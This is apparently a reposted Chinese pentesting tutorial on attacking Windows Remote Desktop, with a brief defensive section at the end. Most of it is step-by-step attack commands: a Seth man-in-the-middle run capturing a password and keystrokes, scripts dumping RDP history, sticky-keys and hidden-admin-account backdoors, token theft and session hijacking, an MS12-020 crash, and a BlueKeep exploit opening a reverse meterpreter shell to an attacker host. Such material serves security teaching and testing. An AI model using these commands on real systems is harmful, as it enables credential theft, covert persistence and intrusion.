原文链接:内网渗透测试:初探远程桌面的安全问题(下)
RDP 远程桌面中间人攻击[color=rgb(51, 51, 51) !important]中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。 [color=rgb(51, 51, 51) !important]Seth是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。 [color=rgb(51, 51, 51) !important]使用该工具所要求的环境: [color=rgb(51, 51, 51) !important]Python 3 [color=rgb(51, 51, 51) !important]Tcpdump [color=rgb(51, 51, 51) !important]Arpspoof [color=rgb(51, 51, 51) !important]Openssl
[color=rgb(51, 51, 51) !important]运行界面如下: [color=rgb(51, 51, 51) !important] [color=rgb(51, 51, 51) !important]使用方法如下: ./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>][color=rgb(51, 51, 51) !important]INTERFACE:网卡 [color=rgb(51, 51, 51) !important]ATTACKER IP:中间人 IP [color=rgb(51, 51, 51) !important]VICTIM IP:连接者 IP [color=rgb(51, 51, 51) !important]GATEWAY IP|HOST IP:被连接的远程主机 IP [color=rgb(51, 51, 51) !important]COMMAND:启动时执行的命令
[color=rgb(51, 51, 51) !important]执行以下命令启动 seth 监听: ./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30[color=rgb(51, 51, 51) !important] [color=rgb(51, 51, 51) !important]然后当 PC 上的用户远程登录 DC 时便会抓取到登录用户的明文密码。不仅如此,还可以对用户键盘的操作进行记录,甚至使用<COMMAND>在目标主机上执行命令。 [color=rgb(51, 51, 51) !important]攻击成功后类似如下: - # ./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
- ███████╗███████╗████████╗██╗ ██╗
- ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
- ███████╗█████╗ ██║ ███████║ seth@vollmer.syss.de
- ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
- ███████║███████╗ ██║ ██║ ██║ https://www.syss.de
- ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
- [*] SpoofinG arp replies...
- [*] TurninG on IP forwardinG...
- [*] Set iptables rules for SYN packets...
- [*] WaitinG for a SYN packet to the oriGinal destination...
- [+] Got it! OriGinal destination is 192.168.93.30
- [*] Clone the x509 certificate of the oriGinal destination...
- [*] Adjust the iptables rule for all packets...
- [*] Run RDP proxy...
- ListeninG for new connection
- Connection received from 192.168.93.20:50431
- DownGradinG authentication options from 11 to 3
- Enable SSL
- alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
- Tamper with NTLM response
- TLS alert access denied, DownGradinG CredSSP
- Connection lost
- Connection received from 192.168.57.103:50409
- ListeninG for new connection
- Enable SSL
- Connection lost
- Connection received from 192.168.57.103:50410
- ListeninG for new connection
- Enable SSL
- HidinG forGed protocol request from client
- .\alice:ilovebob
- Keyboard Layout: 0x409 (EnGlish_United_States)
- Key press: LShift
- Key press: S
- Key release: S
- Key release: LShift
- Key press: E
- Key release: E
- Key press: C
- Key release: C
- Key press: R
- Key release: R
- Key press: E
- Key release: E
- Key press: T
- Key release: T
- Connection lost
- [*] CleaninG up...
- [*] Done.
复制代码
获取 RDP 远程桌面连接记录[color=rgb(51, 51, 51) !important]在渗透测试中,远程桌面连接的历史记录不可忽视,根据历史记录往往能定位出关键的服务器。接下来我们就介绍一下如何导出 RDP 连接的历史记录。 [color=rgb(51, 51, 51) !important]获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。 导出当前用户的历史记录[color=rgb(51, 51, 51) !important]可以通过枚举下面的注册表键值查看当前用户的历史记录: HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers[color=rgb(51, 51, 51) !important]如下图所示,每个注册表项保存连接的服务器地址,其中的键值UsernameHint对应登录用户名: [color=rgb(51, 51, 51) !important] [color=rgb(51, 51, 51) !important]看也可以通过 PowerShell 命令行来实现,首先通过以下命令枚举指定注册表项下所有的的子项,即当前用户所连接过的所有的主机名: dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name[color=rgb(51, 51, 51) !important] [color=rgb(51, 51, 51) !important]然后使用以下命令查询指定注册表项的注册表键值,即查看连接所使用的用户名: (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint[color=rgb(51, 51, 51) !important] [color=rgb(51, 51, 51) !important]下面给出一个三好学生写的枚举脚本: - $RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
- $QueryPath = dir $RegPath -Name
- foreach($Name in $QueryPath)
- {
- Try
- {
- $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
- Write-Host "Server:"$Name
- Write-Host "User:"$User"`n"
- }
- Catch
- {
- Write-Host "No RDP Connections History"
- }
- }
复制代码
导出已登录用户的历史记录
已登录用户的注册表信息会同步保存在HKEY_USERS\<SID>目录下,<SID>要对应每个用户的 SID:
可以看到,当前系统登录三个用户,分别有三个子项。我们可以通过枚举注册表键值
HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers
就能够获得已登录用户的远程桌面连接历史记录:
也就是说,如果当前主机登录了两个用户,那么这两个用户的注册表信息都会保存在HKEY_USERS\<SID>下。但如果第三个用户未登录,此时是无法直接获得该用户的注册表信息的,会报如下错误:
也就无法直接导出该用户的远程桌面连接历史记录。
最后给出一个三好学生写的枚举脚本:
$AllUser = Get-WmiObject -Class Win32_UserAccountforeach($User in $AllUser){$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"Write-Host "User:"$User.NameWrite-Host "SID:"$User.SIDWrite-Host "Status:"$User.StatusTry { $QueryPath = dir $RegPath -Name -ErrorAction Stop}Catch{Write-Host "No RDP Connections History"Write-Host "----------------------------------"continue}foreach($Name in $QueryPath){ Try { $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHintWrite-Host "Server:"$NameWrite-Host "User:"$User}Catch {Write-Host "No RDP Connections History"}}Write-Host "----------------------------------" }
导出所有用户的历史记录前面刚说了,对于未登录用户,无法直接获得注册表配置信息,那有什么解决办法?其实这里可以通过加载配置单元的方式来解决,即打开用户的 NTUSER.DAT 文件,加载配置单元导入用户配置信息,然后进行枚举。
选中 HKEY_USERS 项,“文件” —> “加载配置单元”,如下图:
选择打开用户的 NTUSER.DAT 文件,路径为C:\Documents and Settings\用户名\NTUSER.DAT,这里以当前未登录的 moretz 用户为例:
接着指定一个项名称,即可在 HKEY_USERS 下读取该用户的注册表配置信息,如下图所示:
然后按照之前的路径进行枚举即可。
此外,也可以通过命令行实现加载配置单元的实例:
Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT
最后给出一个三好学生写的枚举脚本:
https://github.com/3gstudent/List-RDP-Connections-History
与远程桌面相关的权限维持方法Windows 粘滞键与辅助功能后门估计你在我之前的文章中已经看到过 Shift 粘滞键后门的相关介绍。如果你在电脑上连按五次 shift 键,你就会发现电脑屏幕上弹出了一个叫做“粘滞键”的程序:
即使在没有登录进系统之前,连按五次shift键也可以弹出这个程序:
思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将 cmd.exe 伪装成这个粘滞键程序,当我们连按五次 shift 键时,便会弹出一个 CMD 命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。
粘滞键程序名称为 “sethc.exe”,
其路径为“c:\windows\system32\sethc.exe”。
利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:
首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。
最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成功。
制作的方法如下,在目标主机上执行如下命令即可:
cd c:\windows\system32 move sethc.exe sethc.exe.bak // 将sethc.exe重命名copy cmd.exe sethc.exe // 将一个cmd.exe副本保存伪装成sethc.exe
此时,我们打开目标主机的远程桌面,连续按下五次shift键,便可以看到目标主机屏幕上成功弹出了一个 CMD 窗口:
如上图,该 cmd 是以 SYSTEM 权限运行的,接下来我们就可以无需知道登录密码,无需登录,直接绕过登录页面对目标主机执行各种高权限的操作了,也完全可以新建一个高权限用户直接登录进入系统,是不是很有意思?
但是,先别高兴地太早了,在一些做了防护的主机上,即使是SYSTEM权限也是无法修改 sethc.exe的,只有TrustedInstaller权限才可以,这时,我们就要先模拟一个TrustedInstaller权限的令牌获取TrustedInstaller权限,然后再执行上述操作。我们的思路如下:
当我们启动TrustedInstaller服务时
会启动进程TrustedInstaller.exe,
该程序的权限为NT SERVICE\TrustedInstaller,那么我们就可以窃取该进程的令牌。
首先进入shell启动TrustedInstaller服务:
sc.exe start TrustedInstaller # 先进入shell启动TrustedInstaller服务
然后执行如下即可:
use incognitops # 找到TrustedInstaller的进程PID,这里为3476steal_token <PID> # 从该进程中窃取令牌getuid
此时便可以对 sethc.exe 进行任何操作了。
由于此时获得的 CMD 是 SYSTEM 权限的,所以我们这里可以直接配合 RDP 劫持进去目标系统。如下图所示,发现目标主机上有三个用户的会话,那我们便可以通过tscon进行随意的劫持与切换:
执行tscon 1命令后,如下图所示,成功劫持并切换到了 administrator 用户的会话:
除了这里的粘滞键 sethc 外,在 Windows 登录界面上还有很多辅助功能:
如上图所示,可以看到有屏幕键盘,放大镜,屏幕阅读等,这些额外的辅助功能选项可以帮助残疾人更容易地使用操作系统。这些辅助功能都可以像粘滞键 sethc 一样被攻击者用来制作一个后门。
Metasploit 中的post/windows/manage/sticky_keys模块可实现自动化地利用沾滞键的权限维持技术。该模块将用 cmd.exe 替换那些辅助功能的二进制文件(sethc、osk、disp、utilman):
使用方法如下:
use post/windows/manage/sticky_keysset session 6set target UTILMANexploit
如上图所示,执行成功。
此时,我们开启目标主机的远程桌面,当我们点击左下角的辅助功能按钮后,成功弹出了 CMD 窗口,并且为 SYSTEM 权限的:
不仅是 CMD,我们还可以换成任意的 Payload 用于钓鱼,当受害者使用响应功能时便会触发 Payload 实施攻击。
Windows 系统隐藏账户该方法是通过建立隐藏账户,制作一个可以对目标主机进行远程桌面等的的系统用户,维持对目标 Windows 系统权限。制作方法跟步骤如下:
(1)在目标主机 cmd 中输入以下命令,创建一个与这鞥长域用户 whoami 类似反名为 whoami$ 的隐藏账户,并把该隐藏账户设置为管理员权限:
net user whoami$ Liu78963 /addnet localgroup administrators whoami$ /add
如上图,我们已经创建成功,执行 net user 命令,发现是看不到 whoami$ 用户的:
然后,为了能使刚创建的 whoami$ 用户有权限登录目标机的远程桌面,我们还需要在计算机远程中添加 admin$ 用户:
此时便可以直接使用该隐藏用户登录 3389 远程桌面进行操作了:
但是此时隐蔽性仍不足,因为在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的:
为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。
打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择 “权限”,把 Administrator 用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。
这样 SAM 下的文件就都能看见了。
然后,在注册表编辑器的
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,
点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录 “000001F4”:
复制000001F4目录中的 F 键的值:
然后找到与隐藏账户 whoami$ 右边类型的键值 “0x3ea” 相同的目录名,也就是 “000003EA”:
然后将000001F4的F值粘贴到000003EA的F值中,点击确定:
然后从注册表中右键导出子项000003EA和 whoami$ ,并使用net user whoami$ /del删除 whoami$ 用户:
此时,查看注册表以及本地用户和组或者控制面板,whoami$ 用户就已经没有了。
最后,再将刚才导出的两个后缀为 .reg 的注册表项导入注册表中:
这样我们的隐藏账户 whoami$ 就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到 whoami$ 这个账户的,只有在注册表中才能看得到。
与远程桌面相关的漏洞对 3389 端口的 DOS 攻击这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行,然后控制系统。下面我们使用 Windows 7 系统进行复现。
在 Metasploit 中有两个该漏洞的利用模块:
首先为了确定目标主机是否容易受到该漏洞的影响,可以先使用第二个命令来进行检测:
use auxiliary/scanner/rdp/ms12_020_checkset rhosts 192.168.93.20set rport 3389exploit
目标机存在漏洞,然后尝试使用第一个模块进行攻击,这将对目标系统发起 DOS 攻击,最终导致目标系统蓝屏:
use auxiliary/dos/windows/rdp/ms12_020_maxchannelidsset rhosts 192.168.93.20set rport 3389exploit
如下图所示,“死亡蓝屏” 出现啦:
从上图中可以看到目标系统是由于某些问题导致系统正在关闭。DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。
CVE-2019-07082019 年 5 月 14 日微软官方发布安全补丁,修复了 Windows 远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口 3389,RDP 协议进行攻击的。
此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机,其方式与 2017 年 WannaCry 恶意软件的传播方式类似。
它影响了某些旧版本的 Windows 系统,包括:
- Windows 7 foR 32-bit Systems Service Pack 1
- Windows 7 for x64-based Systems Service Pack 1
- Windows Server 2008 foR 32-bit Systems Service Pack 2
- Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for Itanium-Based Systems Service Pack 2
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows XP SP3 x86
- Windows XP Professional x64 Edition SP2
- Windows XP Embedded SP3 x86
- Windows Server 2003 SP2 x86
- Windows Server 2003 x64 Edition SP2
复制代码
Windows 8 和 Windows 10 及之后版本的用户不受此漏洞的影响。
在 Metasploit 中已经有了该漏洞的利用模块:
第一个模块用来检测目标机是否存在漏洞,第二个模块用来进行攻击。设置好参数直接利用即可:
use exploit/windows/rdp/cve_2019_0708_bluekeep_rceset payload windows/x64/meterpreter/reverse_tcpset rhosts 192.168.93.20set lhost 192.168.93.128set rdp_client_ip 192.168.93.20unset RDP_CLIENT_NAMset target 2 # 这里的 2 代表目标机为虚拟机环境exploit
如下图所示,攻击成功并得到了 meterpreter:
如何防御你的 RDP添加安全策略以防止暴力破解管理员可以使用帐户锁定策略保护其网络免受暴力破解攻击,具体有以下相关策略:
帐户锁定持续时间:用于定义锁定帐户保持时间段的策略,直到自动解锁或由管理员重置。当用户超过帐户锁定阈值设置的登录尝试时,它将锁定帐户指定的时间。
帐户锁定阈值:定义失败登录尝试次数的策略,将在帐户锁定持续时间指定的某段时间内锁定帐户。它将允许最大数量指定尝试登录您的帐户。
被锁账户锁定计数器:用于定义登录尝试失败后必须经过的时间段的策略。重置时间必须小于或等于帐户锁定时间。
端口修改可以在另一个端口上转发端口 3389 以提高系统的安全性。我们可以导航到下面的注册表子项进行修改:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
单击 “编辑”>“修改” ,然后单击“十进制”并键入新端口号,单击“确定” 后重新启动计算机即可生效。
也可以运行以下 PowerShell 命令来更改 RDP 端口,在此命令中,我们会将新的 RDP 端口指定为 3390:
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value 3390New-NetFirewallRule -DisplayName 'RDPPORTLatest' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3390
通过系统自带防火墙保护 RDP我们可以打开具有高级设置的防火墙的面板,设定远程桌面的 TCP-In 相关配置从而添加安全过滤器。
|